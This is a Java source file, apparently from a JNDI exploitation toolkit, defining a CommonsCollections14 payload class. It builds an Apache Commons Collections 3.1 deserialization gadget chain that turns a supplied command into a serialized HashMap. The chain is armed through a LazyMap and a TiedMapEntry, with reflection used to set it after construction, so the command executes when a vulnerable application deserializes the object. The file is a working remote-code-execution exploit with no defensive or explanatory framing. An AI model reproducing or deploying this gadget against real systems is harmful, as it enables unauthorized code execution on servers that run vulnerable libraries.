package com.qi4l.jndi.gadgets;

import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.Unam4})
public class CommonsCollections14 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String command) throws Exception {
        final Transformer[] transformers = TransformerUtil.makeTransformer(command);

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
        HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry);
        Reflections.setFieldValue(decorate, "factory",transformerChain );
        Reflections.setFieldValue(tiedMapEntry, "key",233);

        return hashMap;
    }

}